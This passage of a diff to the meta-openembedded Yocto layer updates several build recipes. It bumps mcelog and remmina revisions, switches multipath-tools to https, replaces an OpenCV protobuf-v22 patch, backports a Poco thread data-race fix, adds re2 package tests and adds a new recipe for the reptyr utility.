RRECOMMENDS:${PN} = "${BPN}-mibs"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-oe/recipes-support/mcelog/mcelog_194.bb b/meta-openembedded/meta-oe/recipes-support/mcelog/mcelog_196.bb
index 9b5c554d86..06aa30df05 100644
--- a/meta-openembedded/meta-oe/recipes-support/mcelog/mcelog_194.bb
+++ b/meta-openembedded/meta-oe/recipes-support/mcelog/mcelog_196.bb
@@ -11,7 +11,7 @@ SRC_URI = "\
file://run-ptest \
"
-SRCREV = "8f33fdc47160edce09d75e1316b4d88129ca60a0"
+SRCREV = "edfe78a0dc54a940f4916a9bd681eab7b3f746d1"
LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263"
diff --git a/meta-openembedded/meta-oe/recipes-support/multipath-tools/multipath-tools_0.9.3.bb b/meta-openembedded/meta-oe/recipes-support/multipath-tools/multipath-tools_0.9.3.bb
index ae4b3b9bf6..a7a9019e33 100644
--- a/meta-openembedded/meta-oe/recipes-support/multipath-tools/multipath-tools_0.9.3.bb
+++ b/meta-openembedded/meta-oe/recipes-support/multipath-tools/multipath-tools_0.9.3.bb
@@ -29,7 +29,7 @@ DEPENDS = "libdevmapper \
LICENSE = "GPL-2.0-only"
-SRC_URI = "git://github.com/opensvc/multipath-tools.git;protocol=http;branch=master \
+SRC_URI = "git://github.com/opensvc/multipath-tools.git;protocol=https;branch=master \
file://multipathd.oe \
file://multipath.conf.example \
file://0021-RH-fixup-udev-rules-for-redhat.patch \
diff --git a/meta-openembedded/meta-oe/recipes-support/opencv/opencv/fix-build-with-protobuf-v22.patch b/meta-openembedded/meta-oe/recipes-support/opencv/opencv/fix-build-with-protobuf-v22.patch
index 536060cfd9..265d723c6e 100644
--- a/meta-openembedded/meta-oe/recipes-support/opencv/opencv/fix-build-with-protobuf-v22.patch
+++ b/meta-openembedded/meta-oe/recipes-support/opencv/opencv/fix-build-with-protobuf-v22.patch
@@ -1,19 +1,60 @@
-From 5e4150826fea6f37276f348c65d94ce4847d1211 Mon Sep 17 00:00:00 2001
+From 75f7475fcfb35cbe4d8f5ccf5c4ac8bc78f2dc30 Mon Sep 17 00:00:00 2001
From: Kumataro <Kumataro@users.noreply.github.com>
-Date: Sat, 7 Oct 2023 10:11:25 +0900
-Subject: [PATCH] 3rdparty: supporting protobuf v22 and later
+Date: Thu, 19 Oct 2023 14:45:08 +0900
+Subject: [PATCH] Merge pull request #24372 from Kumataro:fix24369
-Upstream-Status: Submitted [https://github.com/opencv/opencv/pull/24372]
+Supporting protobuf v22 and later(with abseil-cpp/C++17) #24372
+
+fix https://github.com/opencv/opencv/issues/24369
+related https://github.com/opencv/opencv/issues/23791
+
+1. This patch supports external protobuf v22 and later, it required abseil-cpp and c++17.
+ Even if the built-in protobuf is upgraded to v22 or later,
+ the dependency on abseil-cpp and the requirement for C++17 will continue.
+2. Some test for caffe required patched protobuf, so this patch disable them.
+
+This patch is tested by following libraries.
+- Protobuf: /usr/local/lib/libprotobuf.so (4.24.4)
+- abseil-cpp: YES (20230125)
+
+See details at https://github.com/opencv/opencv/wiki/How_to_contribute#making-a-good-pull-request
+
+- [x] I agree to contribute to the project under Apache 2 License.
+- [x] To the best of my knowledge, the proposed patch is not based on a code under GPL or another license that is incompatible with OpenCV
+- [x] The PR is proposed to the proper branch
+- [x] There is a reference to the original bug report and related work
+- [x] There is accuracy test, performance test and test data in opencv_extra repository, if applicable
+ Patch to opencv_extra has the same branch name.
+- [x] The feature is well documented and sample code can be built with the project CMake
+
+Upstream-Status: Backport [https://github.com/opencv/opencv/commit/6e4280ea81b59c6dca45bb9801b758377beead55]
---
- cmake/OpenCVFindProtobuf.cmake | 37 ++++++++++++++++++++++++++++++++++
- modules/dnn/CMakeLists.txt | 9 +++++++++
- 2 files changed, 46 insertions(+)
+ cmake/OpenCVFindProtobuf.cmake | 35 +++++++++++++++++++++++++++-----
+ modules/dnn/CMakeLists.txt | 6 ++++++
+ modules/dnn/test/test_layers.cpp | 24 ++++++++++++++++++----
+ 3 files changed, 56 insertions(+), 9 deletions(-)
diff --git a/cmake/OpenCVFindProtobuf.cmake b/cmake/OpenCVFindProtobuf.cmake
-index 8835347d1d..9bd5c28db8 100644
+index 8835347d1d..5b1e17529f 100644
--- a/cmake/OpenCVFindProtobuf.cmake
+++ b/cmake/OpenCVFindProtobuf.cmake
-@@ -67,6 +67,38 @@ else()
+@@ -30,8 +30,14 @@ if(BUILD_PROTOBUF)
+ set(Protobuf_LIBRARIES "libprotobuf")
+ set(HAVE_PROTOBUF TRUE)
+ else()
++ # we still need this for command PROTOBUF_GENERATE_CPP.
++ set(protobuf_MODULE_COMPATIBLE ON)
++
+ unset(Protobuf_VERSION CACHE)
+- find_package(Protobuf QUIET)
++ find_package(Protobuf QUIET CONFIG)
++ if(NOT Protobuf_FOUND)
++ find_package(Protobuf QUIET)
++ endif()
+
+ # Backwards compatibility
+ # Define camel case versions of input variables
+@@ -67,6 +73,20 @@ else()
endif()
endif()
@@ -21,82 +62,49 @@ index 8835347d1d..9bd5c28db8 100644
+# In Protocol Buffers v22.0 and later drops C++11 support and depends abseil-cpp.
+# Details: https://protobuf.dev/news/2022-08-03/
+# And if std::text_view is in abseil-cpp requests C++17 and later.
-+if(HAVE_PROTOBUF)
-+ if("${Protobuf_VERSION}" MATCHES [[[0-9]+.([0-9]+).[0-9]+]])
-+ string(COMPARE GREATER_EQUAL "${CMAKE_MATCH_1}" "22" REQUEST_ABSL)
-+
-+ if(REQUEST_ABSL)
-+ string(COMPARE GREATER_EQUAL "${CMAKE_CXX_STANDARD}" "17" USED_AFTER_CXX17)
-+ if(NOT USED_AFTER_CXX17)
-+ message("CMAKE_CXX_STANDARD : ${CMAKE_CXX_STANDARD}")
-+ message("protobuf : ${Protobuf_VERSION}")
-+ message(FATAL_ERROR "protobuf(v22 and later) and abseil-cpp request CMAKE_CXX_STANDARD=17 and later.")
-+ endif()
-+
-+ ocv_check_modules(ABSL_STRINGS absl_strings)
-+ if(NOT ABSL_STRINGS_FOUND)
-+ message(FATAL_ERROR "protobuf(v22 and later) requests abseil-cpp(strings), but missing.")
-+ endif()
-+
-+ ocv_check_modules(ABSL_LOG absl_log)
-+ if(NOT ABSL_LOG_FOUND)
-+ message(FATAL_ERROR "protobuf(v22 and later) requests abseil-cpp(log), but missing.")
-+ endif()
+
-+ endif()
-+ else()
-+ message(FATAL_ERROR "Protobuf version(${Protobuf_VERSION}) is unexpected to split.")
++if(HAVE_PROTOBUF)
++ if(NOT (Protobuf_VERSION VERSION_LESS 22))
++ if((CMAKE_CXX_STANDARD EQUAL 98) OR (CMAKE_CXX_STANDARD LESS 17))
++ message(STATUS "CMAKE_CXX_STANDARD=${CMAKE_CXX_STANDARD} is too old to support protobuf(${Protobuf_VERSION}) and/or abseil-cpp. Use C++17 or later. Turning HAVE_PROTOBUF off")
++ set(HAVE_PROTOBUF FALSE)
+ endif()
++ endif()
+endif()
+
if(HAVE_PROTOBUF AND PROTOBUF_UPDATE_FILES AND NOT COMMAND PROTOBUF_GENERATE_CPP)
message(FATAL_ERROR "Can't configure protobuf dependency (BUILD_PROTOBUF=${BUILD_PROTOBUF} PROTOBUF_UPDATE_FILES=${PROTOBUF_UPDATE_FILES})")
endif()
-@@ -89,3 +121,8 @@ if(HAVE_PROTOBUF)
- BUILD_PROTOBUF THEN "build (${Protobuf_VERSION})"
- ELSE "${__location} (${Protobuf_VERSION})")
- endif()
-+
-+if(HAVE_ABSL_STRINGS AND HAVE_ABSL_LOG)
-+ list(APPEND CUSTOM_STATUS absl)
-+ list(APPEND CUSTOM_STATUS_absl " abseil-cpp:" "YES (${ABSL_STRINGS_VERSION})" )
-+endif()
-diff --git a/modules/dnn/CMakeLists.txt b/modules/dnn/CMakeLists.txt
-index 804b78ead2..d32007b37e 100644
---- a/modules/dnn/CMakeLists.txt
-+++ b/modules/dnn/CMakeLists.txt
-@@ -149,6 +149,15 @@ if(NOT BUILD_PROTOBUF)
- list(APPEND include_dirs ${Protobuf_INCLUDE_DIRS})
- endif()
-
-+if(HAVE_ABSL_STRINGS)
-+ list(APPEND libs ${ABSL_STRINGS_LIBRARIES})
-+ list(APPEND include_dirs ${ABSL_STRTRINGS_INCLUDE_DIRS})
-+endif()
-+if(HAVE_ABSL_LOG)
-+ list(APPEND libs ${ABSL_LOG_LIBRARIES})
-+ list(APPEND include_dirs ${ABSL_LOG_INCLUDE_DIRS})
-+endif()
+@@ -74,15 +94,20 @@ endif()
+ if(HAVE_PROTOBUF)
+ list(APPEND CUSTOM_STATUS protobuf)
+ if(NOT BUILD_PROTOBUF)
++ unset( __location)
+ if(TARGET "${Protobuf_LIBRARIES}")
+ get_target_property(__location "${Protobuf_LIBRARIES}" IMPORTED_LOCATION_RELEASE)
+ if(NOT __location)
+ get_target_property(__location "${Protobuf_LIBRARIES}" IMPORTED_LOCATION)
+ endif()
+- elseif(Protobuf_LIBRARY)
+- set(__location "${Protobuf_LIBRARY}")
+- else()
+- set(__location "${Protobuf_LIBRARIES}")
++ endif()
+
- set(sources_options "")
-
- list(APPEND libs ${LAPACK_LIBRARIES})
-From 06a7669521d205f647d3e718322ccd153cdbbb77 Mon Sep 17 00:00:00 2001
-From: Kumataro <Kumataro@users.noreply.github.com>
-Date: Sun, 8 Oct 2023 09:39:35 +0900
-Subject: [PATCH] dnn: disable some tests for external protobuf
-
----
- modules/dnn/CMakeLists.txt | 5 +++++
- modules/dnn/src/caffe/caffe_io.cpp | 24 ++++++++++++++++++++++--
- modules/dnn/test/test_layers.cpp | 16 ++++++++++++++++
- 3 files changed, 43 insertions(+), 2 deletions(-)
-
++ if(NOT __location)
++ if(Protobuf_LIBRARY)
++ set(__location "${Protobuf_LIBRARY}")
++ else()
++ set(__location "${Protobuf_LIBRARIES}")
++ endif()
+ endif()
+ endif()
+ list(APPEND CUSTOM_STATUS_protobuf " Protobuf:"
diff --git a/modules/dnn/CMakeLists.txt b/modules/dnn/CMakeLists.txt
-index d32007b37e..face38465f 100644
+index 804b78ead2..9fcc460909 100644
--- a/modules/dnn/CMakeLists.txt
+++ b/modules/dnn/CMakeLists.txt
-@@ -254,6 +254,12 @@ ocv_create_module(${libs} ${dnn_runtime_libs})
+@@ -245,6 +245,12 @@ ocv_create_module(${libs} ${dnn_runtime_libs})
ocv_add_samples()
ocv_add_accuracy_tests(${dnn_runtime_libs})
@@ -109,215 +117,13 @@ index d32007b37e..face38465f 100644
set(perf_path "${CMAKE_CURRENT_LIST_DIR}/perf")
file(GLOB_RECURSE perf_srcs "${perf_path}/*.cpp")
file(GLOB_RECURSE perf_hdrs "${perf_path}/*.hpp" "${perf_path}/*.h")
-@@ -318,3 +322,4 @@ if(OPENCV_TEST_DNN_TFLITE)
- ocv_target_compile_definitions(opencv_perf_dnn PRIVATE "OPENCV_TEST_DNN_TFLITE=1")
- endif()
- endif()
-+
-diff --git a/modules/dnn/src/caffe/caffe_io.cpp b/modules/dnn/src/caffe/caffe_io.cpp
-index ebecf95eea..ebceca84cf 100644
---- a/modules/dnn/src/caffe/caffe_io.cpp
-+++ b/modules/dnn/src/caffe/caffe_io.cpp
-@@ -1130,7 +1130,17 @@ bool ReadProtoFromTextFile(const char* filename, Message* proto) {
- parser.AllowUnknownField(true);
- parser.SetRecursionLimit(1000);
- #endif
-- return parser.Parse(&input, proto);
-+ const bool ret = parser.Parse(&input, proto);
-+
-+#ifdef OPENCV_DNN_EXTERNAL_PROTOBUF
-+ if(!ret)
-+ {
-+ LOG(ERROR) << "Some data requires patched protobuf (available in OpenCV source tree only).";
-+ CV_Error_(Error::StsError,("Some data requires patched protobuf (available in OpenCV source tree only)."));
-+ }
-+#endif
-+
-+ return ret;
- }
-
- bool ReadProtoFromBinaryFile(const char* filename, Message* proto) {
-@@ -1148,7 +1158,17 @@ bool ReadProtoFromTextBuffer(const char* data, size_t len, Message* proto) {
- parser.AllowUnknownField(true);
- parser.SetRecursionLimit(1000);
- #endif
-- return parser.Parse(&input, proto);
-+ const bool ret = parser.Parse(&input, proto);
-+
-+#ifdef OPENCV_DNN_EXTERNAL_PROTOBUF
-+ if(!ret)
-+ {
-+ LOG(ERROR) << "Some data requires patched protobuf (available in OpenCV source tree only).";
-+ CV_Error_(Error::StsError,("Some data requires patched protobuf (available in OpenCV source tree only)."));
-+ }
-+#endif
-+
-+ return ret;
- }
-
-
diff --git a/modules/dnn/test/test_layers.cpp b/modules/dnn/test/test_layers.cpp
-index 763d94b99c..a07d442d76 100644
+index 763d94b99c..6cb6d54b3f 100644
--- a/modules/dnn/test/test_layers.cpp
+++ b/modules/dnn/test/test_layers.cpp
-@@ -754,7 +754,11 @@ TEST_F(Layer_RNN_Test, get_set_test)
- EXPECT_EQ(shape(outputs[1]), shape(nT, nS, nH));
- }
+@@ -756,11 +756,15 @@ TEST_F(Layer_RNN_Test, get_set_test)
-+#ifndef OPENCV_DNN_EXTERNAL_PROTOBUF
TEST_P(Test_Caffe_layers, Accum)
-+#else
-+TEST_P(Test_Caffe_layers, DISABLED_Accum) // requires patched protobuf (available in OpenCV source tree only)
-+#endif
- {
- if (backend == DNN_BACKEND_OPENCV && target != DNN_TARGET_CPU)
- applyTestTag(CV_TEST_TAG_DNN_SKIP_OPENCL, CV_TEST_TAG_DNN_SKIP_OPENCL_FP16);
-@@ -778,7 +782,11 @@ TEST_P(Test_Caffe_layers, ChannelNorm)
- testLayerUsingCaffeModels("channel_norm", false, false);
- }
-
-+#ifndef OPENCV_DNN_EXTERNAL_PROTOBUF
- TEST_P(Test_Caffe_layers, DataAugmentation)
-+#else
-+TEST_P(Test_Caffe_layers, DISABLED_DataAugmentation) // requires patched protobuf (available in OpenCV source tree only)
-+#endif
- {
- if (backend == DNN_BACKEND_OPENCV && target == DNN_TARGET_OPENCL_FP16)
- applyTestTag(CV_TEST_TAG_DNN_SKIP_OPENCL_FP16);
-@@ -787,7 +795,11 @@ TEST_P(Test_Caffe_layers, DataAugmentation)
- testLayerUsingCaffeModels("data_augmentation_8x6", true, false);
- }
-
-+#ifndef OPENCV_DNN_EXTERNAL_PROTOBUF
- TEST_P(Test_Caffe_layers, Resample)
-+#else
-+TEST_P(Test_Caffe_layers, DISABLED_Resample) // requires patched protobuf (available in OpenCV source tree only)
-+#endif
- {
- if (backend != DNN_BACKEND_OPENCV)
- applyTestTag(CV_TEST_TAG_DNN_SKIP_IE_NN_BUILDER, CV_TEST_TAG_DNN_SKIP_IE_NGRAPH);
-@@ -795,7 +807,11 @@ TEST_P(Test_Caffe_layers, Resample)
- testLayerUsingCaffeModels("nearest", false, false);
- }
-
-+#ifndef OPENCV_DNN_EXTERNAL_PROTOBUF
- TEST_P(Test_Caffe_layers, Correlation)
-+#else
-+TEST_P(Test_Caffe_layers, DISABLED_Correlation) // requires patched protobuf (available in OpenCV source tree only)
-+#endif
- {
- if (backend == DNN_BACKEND_OPENCV && target == DNN_TARGET_OPENCL_FP16)
- applyTestTag(CV_TEST_TAG_DNN_SKIP_IE_NGRAPH, CV_TEST_TAG_DNN_SKIP_IE_NN_BUILDER,
-From 2c33798f41942aefc203183d673ce4846f32dba4 Mon Sep 17 00:00:00 2001
-From: Kumataro <Kumataro@users.noreply.github.com>
-Date: Sun, 8 Oct 2023 13:28:40 +0900
-Subject: [PATCH] use GREATER instead of GREATER_EQUAL and remove new blank
- line at EOF
-
----
- cmake/OpenCVFindProtobuf.cmake | 6 ++++--
- 1 file changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/cmake/OpenCVFindProtobuf.cmake b/cmake/OpenCVFindProtobuf.cmake
-index 9bd5c28db8..ba147526d6 100644
---- a/cmake/OpenCVFindProtobuf.cmake
-+++ b/cmake/OpenCVFindProtobuf.cmake
-@@ -71,12 +71,14 @@ endif()
- # In Protocol Buffers v22.0 and later drops C++11 support and depends abseil-cpp.
- # Details: https://protobuf.dev/news/2022-08-03/
- # And if std::text_view is in abseil-cpp requests C++17 and later.
-+
- if(HAVE_PROTOBUF)
- if("${Protobuf_VERSION}" MATCHES [[[0-9]+.([0-9]+).[0-9]+]])
-- string(COMPARE GREATER_EQUAL "${CMAKE_MATCH_1}" "22" REQUEST_ABSL)
-+ string(COMPARE GREATER "${CMAKE_MATCH_1}" "21" REQUEST_ABSL) # >=22
-
- if(REQUEST_ABSL)
-- string(COMPARE GREATER_EQUAL "${CMAKE_CXX_STANDARD}" "17" USED_AFTER_CXX17)
-+ string(COMPARE GREATER "${CMAKE_CXX_STANDARD}" "16" USED_AFTER_CXX17) # >=17
-+
- if(NOT USED_AFTER_CXX17)
- message("CMAKE_CXX_STANDARD : ${CMAKE_CXX_STANDARD}")
- message("protobuf : ${Protobuf_VERSION}")
-From cd709eefbeedd116bf3495b42280323b932791ff Mon Sep 17 00:00:00 2001
-From: Kumataro <Kumataro@users.noreply.github.com>
-Date: Mon, 9 Oct 2023 21:51:04 +0900
-Subject: [PATCH] fix for review
-
----
- cmake/OpenCVFindProtobuf.cmake | 5 ----
- modules/dnn/src/caffe/caffe_io.cpp | 24 ++----------------
- modules/dnn/test/test_layers.cpp | 40 +++++++++++++++---------------
- 3 files changed, 22 insertions(+), 47 deletions(-)
-
-diff --git a/cmake/OpenCVFindProtobuf.cmake b/cmake/OpenCVFindProtobuf.cmake
-index ba147526d6..2faf1010bf 100644
---- a/cmake/OpenCVFindProtobuf.cmake
-+++ b/cmake/OpenCVFindProtobuf.cmake
-@@ -123,8 +123,3 @@ if(HAVE_PROTOBUF)
- BUILD_PROTOBUF THEN "build (${Protobuf_VERSION})"
- ELSE "${__location} (${Protobuf_VERSION})")
- endif()
--
--if(HAVE_ABSL_STRINGS AND HAVE_ABSL_LOG)
-- list(APPEND CUSTOM_STATUS absl)
-- list(APPEND CUSTOM_STATUS_absl " abseil-cpp:" "YES (${ABSL_STRINGS_VERSION})" )
--endif()
-diff --git a/modules/dnn/src/caffe/caffe_io.cpp b/modules/dnn/src/caffe/caffe_io.cpp
-index ebceca84cf..ebecf95eea 100644
---- a/modules/dnn/src/caffe/caffe_io.cpp
-+++ b/modules/dnn/src/caffe/caffe_io.cpp
-@@ -1130,17 +1130,7 @@ bool ReadProtoFromTextFile(const char* filename, Message* proto) {
- parser.AllowUnknownField(true);
- parser.SetRecursionLimit(1000);
- #endif
-- const bool ret = parser.Parse(&input, proto);
--
--#ifdef OPENCV_DNN_EXTERNAL_PROTOBUF
-- if(!ret)
-- {
-- LOG(ERROR) << "Some data requires patched protobuf (available in OpenCV source tree only).";
-- CV_Error_(Error::StsError,("Some data requires patched protobuf (available in OpenCV source tree only)."));
-- }
--#endif
--
-- return ret;
-+ return parser.Parse(&input, proto);
- }
-
- bool ReadProtoFromBinaryFile(const char* filename, Message* proto) {
-@@ -1158,17 +1148,7 @@ bool ReadProtoFromTextBuffer(const char* data, size_t len, Message* proto) {
- parser.AllowUnknownField(true);
- parser.SetRecursionLimit(1000);
- #endif
-- const bool ret = parser.Parse(&input, proto);
--
--#ifdef OPENCV_DNN_EXTERNAL_PROTOBUF
-- if(!ret)
-- {
-- LOG(ERROR) << "Some data requires patched protobuf (available in OpenCV source tree only).";
-- CV_Error_(Error::StsError,("Some data requires patched protobuf (available in OpenCV source tree only)."));
-- }
--#endif
--
-- return ret;
-+ return parser.Parse(&input, proto);
- }
-
-
-diff --git a/modules/dnn/test/test_layers.cpp b/modules/dnn/test/test_layers.cpp
-index a07d442d76..5c6fc541d7 100644
---- a/modules/dnn/test/test_layers.cpp
-+++ b/modules/dnn/test/test_layers.cpp
-@@ -754,17 +754,17 @@ TEST_F(Layer_RNN_Test, get_set_test)
- EXPECT_EQ(shape(outputs[1]), shape(nT, nS, nH));
- }
-
--#ifndef OPENCV_DNN_EXTERNAL_PROTOBUF
- TEST_P(Test_Caffe_layers, Accum)
--#else
--TEST_P(Test_Caffe_layers, DISABLED_Accum) // requires patched protobuf (available in OpenCV source tree only)
--#endif
{
+#ifdef OPENCV_DNN_EXTERNAL_PROTOBUF
+ throw SkipTestException("Requires patched protobuf");
@@ -331,15 +137,9 @@ index a07d442d76..5c6fc541d7 100644
}
TEST_P(Test_Caffe_layers, FlowWarp)
-@@ -782,42 +782,42 @@ TEST_P(Test_Caffe_layers, ChannelNorm)
- testLayerUsingCaffeModels("channel_norm", false, false);
- }
+@@ -780,27 +784,39 @@ TEST_P(Test_Caffe_layers, ChannelNorm)
--#ifndef OPENCV_DNN_EXTERNAL_PROTOBUF
TEST_P(Test_Caffe_layers, DataAugmentation)
--#else
--TEST_P(Test_Caffe_layers, DISABLED_DataAugmentation) // requires patched protobuf (available in OpenCV source tree only)
--#endif
{
+#ifdef OPENCV_DNN_EXTERNAL_PROTOBUF
+ throw SkipTestException("Requires patched protobuf");
@@ -352,11 +152,7 @@ index a07d442d76..5c6fc541d7 100644
+#endif
}
--#ifndef OPENCV_DNN_EXTERNAL_PROTOBUF
TEST_P(Test_Caffe_layers, Resample)
--#else
--TEST_P(Test_Caffe_layers, DISABLED_Resample) // requires patched protobuf (available in OpenCV source tree only)
--#endif
{
+#ifdef OPENCV_DNN_EXTERNAL_PROTOBUF
+ throw SkipTestException("Requires patched protobuf");
@@ -368,11 +164,7 @@ index a07d442d76..5c6fc541d7 100644
+#endif
}
--#ifndef OPENCV_DNN_EXTERNAL_PROTOBUF
TEST_P(Test_Caffe_layers, Correlation)
--#else
--TEST_P(Test_Caffe_layers, DISABLED_Correlation) // requires patched protobuf (available in OpenCV source tree only)
--#endif
{
+#ifdef OPENCV_DNN_EXTERNAL_PROTOBUF
+ throw SkipTestException("Requires patched protobuf");
@@ -381,12 +173,11 @@ index a07d442d76..5c6fc541d7 100644
applyTestTag(CV_TEST_TAG_DNN_SKIP_IE_NGRAPH, CV_TEST_TAG_DNN_SKIP_IE_NN_BUILDER,
CV_TEST_TAG_DNN_SKIP_OPENCL, CV_TEST_TAG_DNN_SKIP_OPENCL_FP16);
testLayerUsingCaffeModels("correlation", false, false, 0.0, 0.0, 2);
- }
+#endif
+ }
TEST_P(Test_Caffe_layers, Convolution2Inputs)
- {
-@@ -1657,12 +1657,11 @@ private:
+@@ -1641,12 +1657,11 @@ private:
int outWidth, outHeight, zoomFactor;
};
@@ -402,7 +193,7 @@ index a07d442d76..5c6fc541d7 100644
#if defined(INF_ENGINE_RELEASE) && INF_ENGINE_VER_MAJOR_EQ(2021030000)
if (backend == DNN_BACKEND_INFERENCE_ENGINE_NGRAPH && target == DNN_TARGET_MYRIAD)
applyTestTag(CV_TEST_TAG_DNN_SKIP_IE_MYRIAD, CV_TEST_TAG_DNN_SKIP_IE_NGRAPH); // exception
-@@ -1686,6 +1685,7 @@ TEST_P(Test_Caffe_layers, DISABLED_Interp) // requires patched protobuf (availa
+@@ -1670,6 +1685,7 @@ TEST_P(Test_Caffe_layers, DISABLED_Interp) // requires patched protobuf (availa
// Test an implemented layer.
testLayerUsingCaffeModels("layer_interp", false, false);
diff --git a/meta-openembedded/meta-oe/recipes-support/poco/poco/0001-Fix-data-race-when-create-POSIX-thread.patch b/meta-openembedded/meta-oe/recipes-support/poco/poco/0001-Fix-data-race-when-create-POSIX-thread.patch
new file mode 100644
index 0000000000..1a7f4dcdca
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-support/poco/poco/0001-Fix-data-race-when-create-POSIX-thread.patch
@@ -0,0 +1,33 @@
+From 03b68fc924b24e12c87512d790d37fc6ddc352ac Mon Sep 17 00:00:00 2001
+From: Dawid Drozd <drozddawid@gmail.com>
+Date: Sat, 11 Feb 2023 14:48:39 +0400
+Subject: [PATCH] Fix data race when create POSIX thread
+
+When creating thread using pthread_create() `_pData->thread` will be set.
+It could lead to data race as in runnableEntry() we refer to that variable.
+
+Instead use pthread_self().
+getName() is already under mutex.
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Backport [https://github.com/pocoproject/poco/pull/3942/commits/9c8a79b994a367f626c5551e0f38c27d0d8431f1]
+---
+ Foundation/src/Thread_POSIX.cpp | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Foundation/src/Thread_POSIX.cpp b/Foundation/src/Thread_POSIX.cpp
+index ceab76e82..3e52cd31f 100644
+--- a/Foundation/src/Thread_POSIX.cpp
++++ b/Foundation/src/Thread_POSIX.cpp
+@@ -351,7 +351,7 @@ void* ThreadImpl::runnableEntry(void* pThread)
+ #endif
+
+ ThreadImpl* pThreadImpl = reinterpret_cast<ThreadImpl*>(pThread);
+- setThreadName(pThreadImpl->_pData->thread, reinterpret_cast<Thread*>(pThread)->getName());
++ setThreadName(pthread_self(), reinterpret_cast<Thread*>(pThread)->getName());
+ AutoPtr<ThreadData> pData = pThreadImpl->_pData;
+ try
+ {
+--
+2.42.0
+
diff --git a/meta-openembedded/meta-oe/recipes-support/poco/poco_1.12.4.bb b/meta-openembedded/meta-oe/recipes-support/poco/poco_1.12.4.bb
index 8505f66e8b..12532e4ef1 100644
--- a/meta-openembedded/meta-oe/recipes-support/poco/poco_1.12.4.bb
+++ b/meta-openembedded/meta-oe/recipes-support/poco/poco_1.12.4.bb
@@ -11,6 +11,7 @@ DEPENDS = "libpcre2 zlib"
SRC_URI = "git://github.com/pocoproject/poco.git;branch=master;protocol=https \
file://0001-Use-std-atomic-int-instead-of-std-atomic-bool.patch \
file://0001-cppignore.lnx-Ignore-PKCS12-and-testLaunch-test.patch \
+ file://0001-Fix-data-race-when-create-POSIX-thread.patch \
file://run-ptest \
"
SRCREV = "1211613642269b7d53bea58b02de7fcd25ece3b9"
diff --git a/meta-openembedded/meta-oe/recipes-support/re2/re2/run-ptest b/meta-openembedded/meta-oe/recipes-support/re2/re2/run-ptest
new file mode 100644
index 0000000000..8bd5fd1efb
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-support/re2/re2/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+ctest --force-new-ctest-process | sed -u 's/\*\*\*/ /g' | awk '/Test +#/{gsub(/Passed/,"PASS"); gsub(/Failed/,"FAIL"); gsub(/Skipped/,"SKIP"); print $6": "$4; fflush();}'
diff --git a/meta-openembedded/meta-oe/recipes-support/re2/re2_2023.03.01.bb b/meta-openembedded/meta-oe/recipes-support/re2/re2_2023.03.01.bb
index 78bf695a4a..fe210d5107 100644
--- a/meta-openembedded/meta-oe/recipes-support/re2/re2_2023.03.01.bb
+++ b/meta-openembedded/meta-oe/recipes-support/re2/re2_2023.03.01.bb
@@ -6,17 +6,27 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=3b5c31eb512bdf3cb11ffd5713963760"
# tag 2023-03-01
SRCREV = "241e2e430836e80f93d704d1f06cd3e7fe3100f5"
-SRC_URI = "git://github.com/google/re2.git;branch=main;protocol=https"
+SRC_URI = "git://github.com/google/re2.git;branch=main;protocol=https \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', 'file://run-ptest', '', d)} \
+ "
S = "${WORKDIR}/git"
-inherit cmake
+inherit cmake ptest
+RDEPENDS:${PN}-ptest += "cmake sed"
EXTRA_OECMAKE += " \
-DBUILD_SHARED_LIBS=ON \
- -DRE2_BUILD_TESTING=OFF \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', '-DRE2_BUILD_TESTING=ON', '-DRE2_BUILD_TESTING=OFF', d)} \
"
+do_install_ptest () {
+ cp -r ${B}/*_test ${D}${PTEST_PATH}
+ cp -r ${B}/CTestTestfile.cmake ${D}${PTEST_PATH}
+ sed -i -e 's#${B}#${PTEST_PATH}#g' `find ${D}${PTEST_PATH} -name CTestTestfile.cmake`
+ sed -i -e 's#${S}#${PTEST_PATH}#g' `find ${D}${PTEST_PATH} -name CTestTestfile.cmake`
+}
+
# ignore .so in /usr/lib64
FILES:${PN} = "${libdir}"
INSANE_SKIP:${PN} += "dev-so"
diff --git a/meta-openembedded/meta-oe/recipes-support/remmina/remmina_1.4.32.bb b/meta-openembedded/meta-oe/recipes-support/remmina/remmina_1.4.33.bb
index 74c68a59d8..590f5089e5 100644
--- a/meta-openembedded/meta-oe/recipes-support/remmina/remmina_1.4.32.bb
+++ b/meta-openembedded/meta-oe/recipes-support/remmina/remmina_1.4.33.bb
@@ -25,7 +25,7 @@ DEPENDS = " \
DEPENDS:append:libc-musl = " libexecinfo"
LDFLAGS:append:libc-musl = " -lexecinfo"
-SRCREV = "4804f68f23045a38c3a7be46810fce14bac2fc3c"
+SRCREV = "2c4e1479433e51418ecb6089f35182bfebc5b57e"
SRC_URI = "git://gitlab.com/Remmina/Remmina;protocol=https;branch=master"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-support/reptyr/reptyr_0.10.0.bb b/meta-openembedded/meta-oe/recipes-support/reptyr/reptyr_0.10.0.bb
new file mode 100644
index 0000000000..57b31a78d9
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-support/reptyr/reptyr_0.10.0.bb
@@ -0,0 +1,29 @@
+SUMMARY = "Reparent a running program to a new terminal"
+DESCRIPTION = "reptyr is a utility for taking an existing running program and \
+attaching it to a new terminal. Started a long-running process over ssh, but \
+have to leave and don't want to interrupt it? Just start a screen, use reptyr \
+to grab it, and then kill the ssh session and head on home."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=25a0555028c71837623fa6dfa4cc45c0"
+
+SRC_URI = "git://github.com/nelhage/reptyr.git;protocol=https;branch=master"
+SRCREV = "1238097fc2cd15db058d2185cc4985daa87bcd41"
+
+S = "${WORKDIR}/git"
+
+inherit bash-completion github-releases manpages pkgconfig
+
+GITHUB_BASE_URI = "https://github.com/nelhage/${BPN}/releases/"
+
+PACKAGECONFIG ?= ""
